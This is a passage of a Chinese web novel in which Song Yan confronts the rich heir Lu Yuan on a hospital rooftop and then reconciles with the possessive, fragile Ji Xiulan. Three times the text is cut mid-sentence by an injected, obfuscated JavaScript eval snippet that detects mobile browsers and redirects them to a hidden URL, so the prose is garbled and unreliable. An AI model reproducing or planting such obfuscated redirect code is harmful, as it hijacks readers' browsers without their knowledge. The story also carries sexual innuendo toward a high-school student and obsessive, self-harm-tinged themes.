现在这样静下来近距离欣赏,宋宴不由得在心里感慨了一句,这人长得实在是太好看了。 冰肌玉骨,眉眼清冽,周身萦绕着霜雪气息,仿佛一捧高高在上的月亮。 就连这样病弱的模样也好看得要命。 宋宴不敢多看,转过身去倒水。 但是不知道,他身后的季修岚的目光静静地描摹着他的身影。 从略长微卷的发梢到纤细的脖颈,接下来是肩线和有些纤细的腰身,再到笔直的双腿。 他的视线很轻,像羽毛扫过,却带着测量一般的专注。 “喏。” 宋宴把杯子递过来的那一刻,季修岚收回视线。 他伸出扎着针的左手接过,右手不动声色地藏了一下。 他喝水时喉结轻轻滚动,喝完水之后,干燥的唇变得水润了不少。 宋宴比他大个三岁,在心里已经隐约把他当弟弟看待了。 如今看到男生乖乖喝水的模样,他心里莫名产生了一种满足感。 就在这时,宋宴的手机响了起来。 他拿起来一看,发现是外卖的电话。 本来是准备跟哥哥一起去吃日料的,现在他在医院里照顾季修岚,只能被迫点了附近一家很健康的私房菜,让他快点送过来。 骑手好像不太认得清医院的路,宋宴在电话里跟他解释不明白,于是决定下楼去取。 “我马上就回来。” 挂了电话,宋宴一边帮他拍了拍被角,一边对季修岚说:“一会先吃点东西咱们再说别的。” 季修岚点点头,漆黑的眼睛静静地看着他。 宋宴步伐轻快地走出病房门。 他没注意到,身后的那双眼睛一直追随着他的背影,直到彻底消失不见。 …… 宋宴回来得很快。 一边推开病房门,宋宴的唇角还带着笑意。 “季修岚,那个骑手……” 话说到一半,宋宴戛然而止。 男生微微睁大了眼睛。 病床上是空的。 被子掀开了一半,枕头有点凌乱,吊瓶针头则被拔出来放在床头柜上。 宋宴沉默地站在原地,莫名感觉手里的餐盒沉甸甸的。 男生把包装精致的私房菜放到旁边的桌子上,眉头有些烦躁地皱了起来。 4. 对峙 怎么回事? 站在空荡荡的病房里,宋宴的手指无意识收紧。 不是说好了待在病房里吗? 娇生惯养长大的小少爷微微抿唇,眉眼间浮起了几分不耐。 无论是重生前后,他做事大多时候都是被别人顺着的。 虽然现在收敛了不少,但骨子里的桀骜仍然藏不住。 但下一秒,他的视线定住了。 地上躺着一只玻璃杯,杯口残留的水渍在浅色地砖上晕开了一小片深色,像是被人仓促碰倒的。 是他刚刚递给季修岚的那只。 如果季修岚是自己离开的,这杯子怎么会这样倒在地上? 除非…… 宋宴的心脏猛地一沉。 前世那些疯狂痴迷季修岚的面孔,一张张在宋宴的脑海中闪过。 他们怎么可能轻易放过他? “该死。” 宋宴低声骂了一句,转身冲出病房。 他几步跑到了楼层的护士台:“有没有见过一个男生?大概这么高,很瘦,长得很好看……” 被他急促的语气吓了一跳,护士连忙往旁边的电梯指了一下。 “刚刚好像是有个男生上去了,不过……” 话还没说完,她就看到眼前的男生已经转身冲向楼梯间。 …… 京市的初春总是带着料峭的寒意,到了傍晚,医院顶楼天台的风尤其大。 远处,日头渐渐沉了下去,橙黄色被城市里林立的高楼吞没了一半,光线昏暗,将人的身影也勾勒得明灭不定。 季修岚站在天台边缘,身上还披着宋宴的那件黑色机车夹克。 他们两个人现在身高相仿,但男生实在是太瘦了,以至于衣服有些空荡,仿佛下一秒就会被风吹走。 “季修岚,你几天没来学校,我还以为你出什么事了呢。” 陆渊从容地站在另一端,神色之间带着惯有的轻佻和傲慢。 他个子很高,黑色衬衫随意敞开两颗扣子,外面松松垮垮披着件风衣,鼻梁高挺,笑起来的时候露出犬齿,带着张扬和毫不掩饰的恶劣。 “没想到你居然在医院。” 他挑眉:“生病了?还是……躲着我?” 季修岚缓缓抬头。 如果宋宴此时在场,会惊讶地发现他的眼神与自己之前见到的截然不同。 不再是那种脆弱易碎的模样,而是一种极冷、极淡的目光。 他微微抬眸,半耷拉着眼皮看向陆渊,姿态懒散,却有种无形的压迫感。 “你找我?” 陆渊的回答坦荡得近乎无耻:“对啊,上次跟你说的事考虑得怎么样?跟着我,你姥姥的医药费——” “因为债务问题,陆家最近很焦头烂额吧。” 季修岚忽然开口,打断陆渊。 他的声音很轻,带着点虚无缥缈。 陆渊脸上的笑容顿住。 “你怎么知道?” 他微微眯起眼睛,上下打量着季修岚。 他追求季修岚的动机并不纯粹。 死对头陈枫看上了这个人,他就一定要抢过来。从小到大,他从没有在任何事情上输给过对方,这次当然也不例外。 当然,他好色,喜欢好看的,季修岚那张脸也确实对他胃口。 在他的身上自带着一种脆弱又疏离的矛盾感,简直就像是脆弱的琉璃,让人想握在手里把玩,又生怕把他捏碎。 他追人的手段向来简单粗暴。 缺钱给钱,缺资源就给资源,季修岚自然也不例外。 但是此刻,季修岚的眼神却告诉他,事情可能没有那么简单。 季修岚没有回答陆渊的问题。 他的视线越过陆渊的肩膀,落在天台入口处。 沉重的铁门被男生用了些力气推开,看到两人对峙的身影,他快步走来。 男生的卷发都被风吹乱了,琥珀色的眼睛却亮得惊人,像一簇燃烧着的火苗,漂亮得要命。 季修岚的眼睛亮了一些,嘴角极快地勾了一下。 “My flame.” 他低声道。 明明是轻得要被风吹散的呢喃,却带着某种近乎虔诚的占有欲。 “你说什么?” 陆渊皱眉。 但季修岚已经不再看他。 他的目光锁定了那个越来越近的身影,眼神里冰冷的情绪迅速融化,取而代之的是一种近乎天真的依赖。 “你在干什么!” 宋宴的嗓音穿透寒风,带着一丝不易察觉的慌乱。 他几步冲到两人之间,毫不犹豫地将季修岚护在身后. 男生动作之间回护的意思太过明显,以至于季修岚微微抬眸,眼底闪过一丝难以察觉的愉悦。 陆渊做事从未被这样莫名其妙打断过,一股怒火直冲头顶。 但当他看清宋宴的脸时,那股怒火突然变了。 他的眼神定住,随后轻轻眯起,闪过一丝兴味。 “是你啊,我知道你。” 陆渊舌尖抵了抵腮帮子,慢悠悠道:“我朋友给我看过你照片——剧照里挺乖的,现在怎么……” 他刻意停顿了两秒,目光肆无忌惮地扫过宋宴。 男生微微挑眉。 重生一次,他对陆渊也有了一些了解。 他是陆家长子,现在跟季修岚在一个高中,平日里荤素不忌,私生活上玩得很开,跟不少人都有一腿,喜欢追求刺激,周围全是些狐朋狗友,为此家里很头疼,不过他也有些个人能力。 前世这人也是纠缠季修岚的疯子之一。 陆渊这圈子的富二代喜欢小明星,前一阵他第一部剧的宣发海报刚做出来,保不齐怎么传出去了。 这种暧昧的语气再配上轻佻的眼神,瞬间让宋宴燃起怒火。 “滚开。” 宋宴抬起下巴,语气里的敌意几乎要凝成实质。 陆渊恶劣的性子发作,目光愈发肆无忌惮起来。 对面男生休闲卫衣衬出了不盈一握的腰身,长睫毛在眼下投出阴影,琥珀色的瞳孔在顶楼昏黄的光线下泛着浅淡的水光,脖颈纤细白皙。 他的眼睛微微有些泛红,眼下,还有一颗小小的痣。 长得真他妈娇气。 偏偏是那样一幅骄矜的姿态,简直让人想把他揉碎,看他露出痛苦又漂亮的模样。 “你们俩这是……” 他的目光状似意外地在宋宴和季修岚中间逡巡了两圈,咧开嘴恶劣地笑了。 “在医院找刺激?带我一个呗。” 尾音轻佻,一字一顿,嗓音在风中无比清晰,带着赤裸裸的挑衅与狎昵。 “你很敢说啊!” 话音刚落,宋宴直接伸手,用胳膊肘抵住了陆渊的脖颈。 他动作快得惊人,陆渊甚至还没来得及抵抗,就被抵在了天台边缘。 宋宴自己也愣了一下,他没想到陆渊居然一点都没抵抗。 下一秒,他就看到陆渊勾起唇角,在这种情况下居然还笑了起来。 “还挺辣?” 他吹了个口哨,语气轻慢。 他摊开手表示自己不作抵抗,视线却一寸一寸地勾勒着宋宴的下颌、脖颈,最后视线落在了那颗小痣上面,目光热辣,带着毫不掩饰的欲望。 “原来那张照片是装出来的啊。” 宋宴眯起眼睛。 这人根本没把他放在眼里。 男生怒极反笑。 他低下头,在陆渊耳边压低声音:“怎么,你喜欢?” 温柔的呼吸拂过耳廓,带着清淡的甜橙气息,却莫名让人心里一紧。 他知道陆渊根本不喜欢自己,之所以这么说只是在挑衅。 果不其然,他看到陆渊微微挑眉。 但此时陆渊眼底的兴趣更浓了。 他的目光越过宋宴的肩膀,看向他身后,嗓音中带着恶意:“先别顾着说我了,你那小朋友……好像不太开心啊。” 方才让他看到了季修岚的阴暗面,他才知道原来这人并不是表面上看起来那么人畜无害。 如同一条危险的藏在暗处的毒蛇,虽然不动声色,却随时有可能露出毒牙。 而现在,季修岚正静静地看着他们。 他的眼底漆黑,凛冽的寒意几乎凝成实质。 宋宴没回头,他觉得陆渊是想移他的注意。 下一秒,他膝盖重重向上一顶。 陆渊倒吸一口凉气,脸上的轻佻终于绷不住了,瞬间变得难看。 “你!” “管好你自己。” 宋宴低声说完,松开了手。 陆渊站直身体,揉着手腕,语气恶狠狠的。 “原来被我说中了,你俩真有一腿。” 宋宴刚要开口,手腕忽然被人攥住。 是季修岚。 少年的手指冰凉得惊人,摩擦在皮肤上时泛起一阵酥麻的痒意。 他轻轻将宋宴拉到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199345|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己身边,抬眼时,露出了那种宋宴熟悉的清澈而脆弱的神情。 “疼吗?” 季修岚轻声问。 一边说着,他一边将宋宴的手托到了自己眼前。 少年掌心还缠着因为割伤自己而绑上的绷带,纤长的拇指抵在宋宴的手腕上极轻地摩挲。 动作看似温柔,却有种不容挣脱的力道。 “这刚刚好像扭到了,都红了。” “还,还行吧。” 刚刚还在跟陆渊对峙,转而被如此温柔地对待,宋宴有些不适应,声音磕绊了一下,耳朵尖微微泛红。 季修岚从口袋里拿出了一方手帕,隐约带着淡淡的薄荷冷香。 低下头,他极其轻柔地擦了擦宋宴的手腕,仿佛在对待一件瓷器。 都脏了。 季修岚的心里闪过这个念头,随即涌起一阵陌生的情绪。 他在生气。 其实他已经很久没有体会过生气的感觉了。 无论是之前被赵易他们用合同威胁,还是现在被陆渊纠缠。 这些事对他来说,不过是需要处理的麻烦。 但现在,看着宋宴手腕上因触碰别人而泛红的痕迹,他很清晰地感受到了自己的不悦。 那抹红色如此刺眼,仿佛一根刺扎进眼睛里。 他在心里细细地狎昵着这种有些陌生的情绪,低着头执拗地擦拭。 一下,又一下。 指尖偶尔轻轻蹭过宋宴的皮肤,冰凉柔软,容不得拒绝。 My diamond. My puppy. 陆渊看着这一幕,忽然笑了。 他的目光在两个人中间扫视了一圈:“有意思。” 季修岚抬起眼睛,看向陆渊。 他看起来苍白柔弱,但眼神却比宋宴要锐利许多。 简直不像是在看一个人,而是在看一件即将被清理的垃圾。 但下一秒,季修岚又低下头,继续温柔地擦拭宋宴的手腕。 仿佛那快速的一瞥只是陆渊的错觉。 就在宋宴的心跳渐渐平稳,几乎以为这场对峙即将结束时—— “哥哥。” 季修岚忽然开口,声音很轻,还带着几分脆弱。 宋宴下意识低头看他。 季修岚那双漆黑的眼睛里,似乎酝酿着某种宋宴看不懂的情绪。 他缓缓道:“你对我这么好,是因为可怜我吗?” 说完,季修岚顿了顿。 少年长长的睫毛垂下,遮住眼底翻涌的情绪。 远处,橙黄色的落日余晖终于被高楼吞下了最后一抹,入目之间皆是晦暗。 在这一刻,微寒的春风也停滞了下来,归于寂静。 季修岚握着他的手,放在了自己的脖颈上,让宋宴的掌心完全贴合在了脖颈的皮肤上。 冰凉一片。 这正是刚才宋宴抵住陆渊的位置。 他的皮肤很凉,颈动脉在宋宴掌心下微弱地跳动,给人一种很温驯的感觉。 那一刻宋宴几乎觉得,只要自己稍稍用力,就能掐断他脆弱的生命。 “还是说……” 季修岚的唇角勾起了一个极淡的,没有任何温度的弧度。 少年微微仰起脸。 他的睫毛闪烁了一下,眼底掠过一丝近乎疯狂的偏执,快得几乎让人以为是错觉。 “想和他们一样把我关起来,只给你一个人看?” …… 空气一片死寂。 他是这么想的? 宋宴心脏漏跳了一拍,他微微睁大眼睛,几乎不敢相信自己的耳朵。 但是少年却并没有打算就这样放过他。 他向前一步凑近宋宴,两人之间的距离瞬间被拉近。 宋宴几乎能闻到季修岚身上那股若有若无的薄荷冷香。 他的脑海里“嗡”地一声。 男生被季修岚握着的手微微发了点力,似乎是在抗拒两人之间过近的距离。 他忽然发现,季修岚的力气好像要比他想象中大一些。 温热的气息拂过宋宴的耳廓,如同羽毛轻扫,带来了一片危险的麻痒。 耳边,则是季修岚的低语,带着致命的诱惑。 “你想睡我吗。” 夜风吹过,扬起宋宴脸侧的发丝。 男生睁大了眼睛,瞳孔骤然缩小,连呼吸都乱了节奏。 掌心下,他感觉季修岚的脉搏跳得有些快。 5. 争执 被烫到似的,宋宴瞬间甩开了季修岚的手。 那一刻空气都凝固了。 男生微微睁大了眼睛,嗓音中带着难以置信的颤抖:“你是这么想的?” 在他的视线当中,季修岚神色当中的笑意一点点退去,转而变得平静、冷漠,漆黑的眼睛里似乎还带有几分审视。 就仿佛他从没有相信过宋宴,之前所说所做都只是他用来试探的手段。 宋宴心口闷闷地发痛。 “原来如此。” 宋宴低笑了一声,满是自嘲道:“原来在你眼里,我跟他们都是一样的人。” 一股失望感如同冰冷的潮水一般涌上来,让他的鼻子都有点酸酸的。 他还是第一次如此满心欢喜地尝试对一个人好。 但是在季修岚的眼里,他所做的一切,都只是被归结成了那群疯子的一丘之貉。 就像重生前的每一次一样,这次的他又失败了。 旧伤疤被狠狠揭开,过去的一幕幕又一次在眼前闪过。 从哥哥的死到父亲病重,再到后面自己被曾经深爱的人暗算死亡,这些他都无力阻止。 他嘴唇微微有些颤抖,如鲠在喉,一时不知道该说些什么。 “咔哒。” 就在这时,旁边传来了一声轻响。 陆渊点燃了一支烟,一点橘红色的火光在指尖明明灭灭。 他斜靠在墙上,勾起唇角饶有兴味地看着眼前两人的互动,仿佛是在欣赏一场戏剧。 愈发晦暗的天色下,那点亮光刺痛了宋宴的眼睛。 “你是不是有病?” 纷乱的情绪骤然找到了发泄口,宋宴几步冲道陆渊面前,一把将那支烟夺了过来。 “在医院抽烟?” 男生动作很快。 陆渊一时不备,烟就到了宋宴手里,他愣了一下,目光随即落在了宋宴的手上。 眼前的男生纤长的手指夹着那根质感优越的黑色细烟,指尖被微末的火光映出一点暖调,骨节微微泛粉,形成了一副极其具有冲击力的画面。 这双手…… 陆渊的喉结上下滚了滚。 他还是第一次看到如此漂亮精致的一双手。 不仅适合拿烟,也很适合被束缚起来…… 如果染上一些别的颜色,会更漂亮吧。 “这你都管啊。” 陆渊挑眉,话里的内容吊儿郎当的,语气却微微发紧,让人听不出是恼怒还是兴奋。 宋宴冷笑一声。 他现在满腔的情绪堵着无处发泄,眼前的陆渊居然还敢继续挑衅。 男生低头看了看手中的烟,忽然缓缓勾唇,扯出一个艳丽却有些危险的笑。 他重新抬起眸子,看向陆渊。 手中的火星把男生精致的轮廓勾勒得清晰了一些,他的眼尾不知为何有些泛红,皮肤上的那颗小痣在昏黄的光线下格外醒目。 这一幕简直就像一幅画一样,好看得要命。 “对啊,我不能管吗?” 话音落下的刹那,男生手腕一转—— 烟头的火星烫在了陆渊的手背上,蜻蜓点水般一触即分。 “嘶——” 灼痛感刺入皮肤,陆渊倒吸一口凉气。 他心脏漏跳了一拍,那瞬间简直没反应过来发生了什么。 妈的,宋宴拿他当烟灰缸了?! 但陆渊素来皮糙肉厚。 被烫了一下,他没觉着疼,只觉得皮肤周围泛起了渗入骨子里的痒意。 说不清为什么,那灼烧的温度如同带着电流般窜过皮肤,酥麻一片。 陆渊心跳得有些快。 这种异样的、诡谲的兴奋感像一条蛇一样,从他的脊背爬了上来。 从没有人敢这么对他,他应该是愤怒的。 但现在,陆渊脑子里燃起了一个清晰的念头—— 真他妈刺激。 他心里忽然产生了一种说不清道不明的冲动。 陆渊的眼睛死死地盯着宋宴,他本就长得张扬,现在周身不自觉带上了很强的侵略性。 那表情换了任何一个人都要被吓住,但偏偏宋宴一点都没退缩。 男生看着陆渊,眼睛一错不错。 他琥珀色的眸子剔透而清澈,微微眯起时神色锐利,如同一柄雕刻了玫瑰的漂亮刀刃。 这莫名让陆渊心口又麻又痒,兴奋的感觉简直要把他逼疯了。 “宋宴。” 他在唇齿间咀嚼出了这个名字,带着玩味,这下真是彻底把他记住了。 “你真是比我想的还带劲儿。” “怎么。” 宋宴扬起下巴,语气倨傲:“还不滚?” 陆渊的目光继续在宋宴脸上停顿了几秒。 然后他笑了,笑容中带着一种发现了新猎物的愉悦感。 “赶我走是吧?” 顿了顿,他慢条斯理道:“行啊,那你求求我。” “你也配?” 宋宴皱起眉。 谁知道这时候的陆渊异常好说话,甚至抬起手示了个弱。 “好啦,跟你开玩笑的。” 天色渐晚,还是在医院的天台上,确实已经不适合继续聊下去了。 陆渊的视线扫过旁边的季修岚,又继续落在宋宴身上。 他意味深长道:“我很期待咱们下次见面。” 说着,他的嘴角勾起了一个邪气的弧度,一字一顿。 “到时候,咱俩慢慢聊。” 脚步声渐渐远去。 此时的天台上,只剩下了宋宴和季修岚两个人。 风声忽然变得愈发清晰了起来,卷起衣摆,将宋宴略长的头发吹得扬起。 他微微侧眸。 远处,城市的灯火逐渐亮起,暖融融一片。 而前世,在哥哥去世后的无数个夜晚,他都曾孤零零坐在空荡荡的家里,看着屋外的灯火一盏一盏熄灭。 宋宴的身形被风吹得微微摇晃了一下。 下一秒,身上一暖。 是季修岚。 他不知道什么时候走上前来,把之前宋宴披在他身上的黑色机车夹克重新披在了男生身上。 行动之间,宋宴感觉自己被男生身上微凉的薄荷香包裹了起来。 他自己只穿着那件单薄的衬衣,右手裹着厚重的纱布。 “怎么,不怕我对你图谋不轨了?” 男生把身上的夹克扯下来放在臂弯处搭着,语气有些疲惫。 季修岚没有立刻回答。 他定定地看着宋宴,那双漆黑的眼睛在夜色中深不见底。 “你会吗?” 许久,季修岚轻声反问。 在如此深寒的夜色中,他好像也没觉得冷,只是定定地看着宋宴,语气执拗,仿佛非常想知道这个问题的答案。 宋宴本来也不是什么好脾气的人,听到季修岚的反问,他有些苦涩地笑了一声。 “你觉得呢。” 说着,他伸手抓住季修岚的手腕,近乎蛮横地拉着他离开了天台。 一路上,宋宴走得很快。 季修岚近乎踉跄地跟在他身后,没包扎过的那只手被攥得有些疼。 但他没挣扎,只是沉默地跟在宋宴身后,目光始终落在他紧绷的侧脸上。 回到医院走廊,温暖的空气扑面而来。 灯光明晰了两个人的视线,宋宴松开手,转身看向季修岚。 男生的眸子在灯光下呈现出了剔透的琥珀色,里面翻涌的情绪清晰可见。 “既然你这么不相信我,那我们就不必说了。” 男生开口,声音冷硬。 说话间,他有些烦躁地抬脚踢了下旁边的大理石墙面,力道不重,却带着某种压抑不住的怒火。 “其实你不必用这种方法来试探我,因为我没有挟恩图报的意思。” “如果我真的很坏的话……” 就不会千里迢迢去那个包厢找你了。 话说到一半,宋宴顿住了。 他感觉自己的喉头被什么东西闷闷地堵着,想说的话说不出来,就算说出来大概也不是那个意思。 “算了。” 宋宴轻轻地叹了一口气:“不说这些了,我先走了。” 走廊尽头的门开了又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199346|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合上。 脚步声渐渐远去。 季修岚站在原地,看着那道身影消失在走廊尽头。 许久,他缓缓地低下头。 手腕上,仿佛还留着宋宴掌心的温度。 滚烫的,如同一个烙印。 他眨了眨眼睛,仿佛感觉很陌生似的,用指尖碰了碰那片皮肤。 然后,鬼使神差地抬起手腕,凑到鼻尖,轻轻地嗅闻了一下。 甜橙的味道萦绕了上来,温暖而鲜活。 …… 走出医院大楼,宋宴这时候才发现这片地方自己其实很陌生。 他之前很少来城南这边,这次是因为季修岚晕倒了,他才赶紧让哥哥送他到最近的医院里。 现在街上很冷,他把手里拿着的黑色夹克披在身上,却还是抵不住夜风顺着有些宽大的卫衣领口灌了进来。 寒意浸透布料,激起一层鸡皮疙瘩。 宋宴脑子乱糟糟的,他也不知道自己该去哪,就顺着街道漫无目的向前走。 季修岚的话就像一根刺一样,扎在他心头最柔软的地方。 他本意当然是好的,他想救他,想让他摆脱前世的命运。 但是季修岚不相信他。 在对方眼里,他和陆渊、和那些前世的疯子,并没有什么区别。 其实,他完全能理解季修岚的警惕。 要是现在那个处境的是他,骤然看到一个人靠近对自己好,怎么可能会全然信赖。 但是理解归理解,他的心里还是涩涩地发疼。 明明他是想救他的,怎么会做成这个样子。 其实真正让他崩溃的,是那种熟悉的无力感。 前世,他也没能救下一个人。 如同大厦将倾,自从哥哥出车祸去世后,一切都变得不可挽回了起来,肆意了二十几年的他撑不起迅速发生的一切。 那个时候,他连绝望都没办法说出口。 重生前后的挫败感如同潮水般一起涌了上来,几乎要把宋宴淹没。 他暂时还不想回家,于是走到路边的长椅旁,有些疲惫地坐了下来。 天色入夜,路边灯光昏暗,街上行人稀少,能隐约听到虫鸣。 整个世界安静得可怕。 在这种情况下,会给人一种被全世界抛弃了的感觉。 宋宴掏出手机来想看两眼,结果屏幕亮了之后闪烁了两下低电量提醒,居然关机了。 “……” 男生有些烦躁地戳了一下手机,然后重新放到口袋里。 冷,真冷。 一个人孤孤单单地坐在这真难受。 宋宴有些茫然地蜷缩在了长椅上,沉默地把脸埋进臂弯,想缓一缓这种茫然的情绪。 就在这时,一道车灯照亮了面前的地面。 出租车缓缓停在他面前。 车窗摇下,司机探头,带着点方言问:“哎,小兄弟,是你叫的车吗?” 宋宴茫然抬头,嗓音闷闷的:“我没叫车。” “可手机上写的就是这啊。” 司机嘀咕着,拿出手机拨号。 片刻后,他挂断电话,肯定地说:“没错,就是你,有人让我来接你,目的地是星辰湾。” 宋宴愣了一下。 星辰湾……那是他家。 谁叫的车来接他?是哥哥吗。 不不不,不对,他哥又不知道自己什么时候从医院出来。 宋宴若有所觉地回头。 街角的阴影里,一道颀长的身影正静静立在那里。 季修岚不知何时跟了出来,站在不远处,正专注地看着他。 夜风吹起少年额前的碎发,他衣着单薄,苍白的脸在路灯下仿佛是一盏脆弱精致的瓷器。 四目相对的那一刻,季修岚的睫毛轻轻颤抖了一下。 仿佛是没想到就这么被发现了,因此而有些慌乱。 他漆黑的眼睛里带着浓得化不开的夜色,让宋宴读不懂他的情绪。 是他? 他知道我的地址? 宋宴感觉心脏漏跳了一拍。 他站起身,朝季修岚走了过去。 6. 软化 “你帮我打的车?” 宋宴开口。 他的声音被凉风熏过,还有几分微微的沙哑,但是已然比刚才软下来了几分。 街角的灯光有些晦暗不清。 入夜起了凉雾,细小的水汽在灯柱下飘飘洒洒地落下,将几米外的人影勾勒得有些模糊。 宋宴隐约看到,季修岚露出了一个安静的笑容。 少年带着一种恰到好处的脆弱感。 “嗯,我担心你会冷。” 淡淡的几个字,却如同带着小钩子一样,轻轻挠了挠宋宴的耳廓。 男生微微抿唇,不知为何有点焦躁。 “那你呢?你怎么回去。” 说着,他的视线不由自主地落在了季修岚的手上。 细瘦的手被厚重的纱布包裹着,因为时间久纱布都有些松了,也不知道折腾了这么半天,有没有血污渗出,单薄的衬衣在也风中空荡荡地晃着。 他整个人就如同一团影子,仿佛下一秒就会被夜风吹散。 季修岚沉默了片刻。 然后,他轻轻开口,嗓音低柔:“没关系的,我……” “走吧。” 宋宴又上前两步,在季修岚不由自主后退的时候伸手抓住了他的衣袖。 “跟我一起回去。” 季修岚顺从地被拉上车。 出租车的后座有些狭窄,坐进去时,他的右手无意间轻轻擦过了宋宴的手背,纱布粗糙的质感与皮肤的温热细腻形成了鲜明的对比。 宋宴的手指不由自主地蜷缩了一下。 夜晚的车内有些安静了,司机大约是觉得无聊,于是把蓝牙打开,开始听一部武侠小说。 “你怎么知道我家的地址?” 宋宴凑近了些,压低声音问季修岚。 两人之间的距离有些太近了。 男生身上甜橙味的暖香萦绕在季修岚鼻尖,让他的睫毛轻轻颤了颤。 他微微偏过头,侧脸在昏暗的光线下显得格外苍白易碎。 “医院的登记册上有。” 顿了顿,他开口道:“请护士姐姐帮忙看的。” 一边说着,他一边轻轻摸了摸自己的鼻尖,姿态终于呈现了几分少年人的无措出来。 “我没其他意思,你帮了我,我想之后报答你。” “我本来以为你已经走了,结果出来的时候就看到你一个人坐在那,手机好像没电了……” 我想报答你。 这几个字恰好戳中了宋宴心脏里最柔软的那个部分。 他也是抱着这样的心情,才会来千里迢迢找到季修岚。 他“喔”了一声,嗓音闷闷的。 “那你的手怎么办?回去之后会很不方便吧。” 季修岚的手指不自觉蜷缩了一下。 他轻轻笑了笑,云淡风轻道:“没事,习惯了。” 他越是做出这样的姿态,宋宴越觉得自己心口闷闷地发疼。 他的大脑开始克制不住地想,之前季修岚过的都是什么样的生活。 “对了。” 忽然想起来了什么,宋宴正色问:“陆渊是怎么找到你的?” 这个问题问出的一瞬间,他感觉季修岚的身体几不可察地僵硬了一下。 少年微微敛眸,长而密的睫毛掩盖了眼底所有情绪。 手无意识蜷缩了起来,指尖抵住掌心。 “不知道。” 他的嗓音里带上了几分疲惫与迷茫。 “无论我去哪里,他们好像……都能知道。” 说着,他抬起眼看向宋宴。 在那双漆黑的眼睛里,宋宴看到了这个少年的无助。 “我怎么做都没用。” 说着,他微微歪头,眼睛看着宋宴,很轻地问他。 “哥哥,我是不是逃不出来了?” 如同一把淬了寒冰的尖锐刀刃,这句话精准地刺进了宋宴的心脏里。 男生几乎是脱口而出:“不,你别害怕。” “我会帮你的。” “我是宋家的人,他们不敢欺负到我头上,所以如果你需要,我会站在你这边。” “不用了,哥哥。” 季修岚却拒绝了。 他垂下眸子,头发垂在耳侧,五官精致得仿佛一件艺术品,嗓音里却带着几分压抑不住的颤抖。 “你家人不喜欢我,我不想你为难。” 他家人不喜欢他? 宋宴怔了一下,忽然想起来下午在医院里跟哥哥的对话——什么来着? 哥哥不希望你和不三不四的人交往。 他那时候醒了? 宋宴知道他哥哥没什么别的意思,但季修岚却不了解他哥哥。 这个男生本来就敏感脆弱且容易多想,如果听到这个…… 就在宋宴微微走神的时候,他的衣袖忽然被极轻地扯了一下。 那道力气小心翼翼,带着试探和不安。 仿佛怕被甩的,季修岚的手指轻轻勾住了他的袖口,甚至能让人感受到其中细微的颤抖。 紧接着,那纤细的手指缓缓下滑。 少年极其小心地勾了一下宋宴的掌心。 动作近乎虔诚。 冰凉的指尖触碰到温热的手掌,宋宴感觉那里的皮肤泛起了酥麻的痒意。 “对不起。” 少年的声音闷闷的,听起来有些沙哑,带着一点微末的鼻音。 “今天在陆渊面前,我不应该那样说话。” “我只是分不清……别人对我的好意。” 他的声音听起来有些痛苦,自说自话般喃喃道:“宋宴,我真的分不清。” 说着,他抬起眼,漆黑的瞳孔直直看向宋宴,里面翻涌着一种近乎偏执的混乱:“是不是等我信了你之后,你就会扔下我?” 他的手指忽然用力,近乎痉挛地扣住了宋宴的手腕,如同溺水之人抓住浮木。 “如果是的话……你现在就可以告诉我。” 他苍白的脸上浮起一种病态的潮红,眼睛却亮得骇人。 空气在这一刻凝滞。 宋宴的心脏彻底软化了下来。 所有的失望和愤怒都在这一刻被击碎,他看着眼前这个苍白柔弱的少年,仅剩下的一点脾气也在这一刻消失殆尽。 不会怪他的。 他已经走在了绝境,如果一个帮他的人都没有,那他该怎么办呢? “没关系。” 男生轻轻叹了口气,然后反握住季修岚冰凉的手,做出了一个安抚意味的动作:“我明白,我都明白了。” 他看着少年的眼睛,嗓音软了下来:“如果你愿意,我可以当你朋友。” 季修岚的身体几不可察地僵了一瞬。 宋宴察觉到,他的指尖仿佛压抑不住般微微颤抖着。 …… 车停在了宋宴家小区的门口。 下车时,宋宴犹豫了一瞬。 他垂眸看了看季修岚裹着厚重纱布的手,忍不住开口:“你……” 季修岚抬眸,安静地看着宋宴。 那双眼睛在昏暗的灯光下如同两潭深不见底的幽冷泉水,里面翻涌着宋宴读不懂的情绪。 宋宴差点想说,你这样生活太不方便了,要不来我家住吧。 但两人毕竟不熟,话到嘴边他还是咽了进去。 最终,他从口袋里掏出一张便签纸,快速写下了自己的号码。 他把纸塞进季修岚的手里,指尖无意识滑过对方的掌心。 “你可以加我的微信,如果之后遇到了麻烦,打这个电话。” 顿了顿,男生补充道:“任何时候都可以。” 季修岚低头看了眼那张便签。 顿了顿,少年点点头,然后将便签小心翼翼地折好,放进了衣服口袋里。 宋宴转身下车。 走出几步后,男生忍不住回头。 出租车居然还停在原地。 透过车窗,他看见季修岚依然保持着刚才的姿势,静静地看着他。 昏黄的路灯光晕洒在他苍白的脸上,将他整个人勾勒成了一幅易碎的油画。 两个人的视线在空气当中一触及分。 然后,车窗缓缓升起,隔绝开了两人的目光。 司机发动了汽车。 后视镜里,他看到那个一直安静苍白的少年,忽然极轻地勾起了一边唇角。 那笑容转瞬即逝,快得像错觉,却带着一种冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 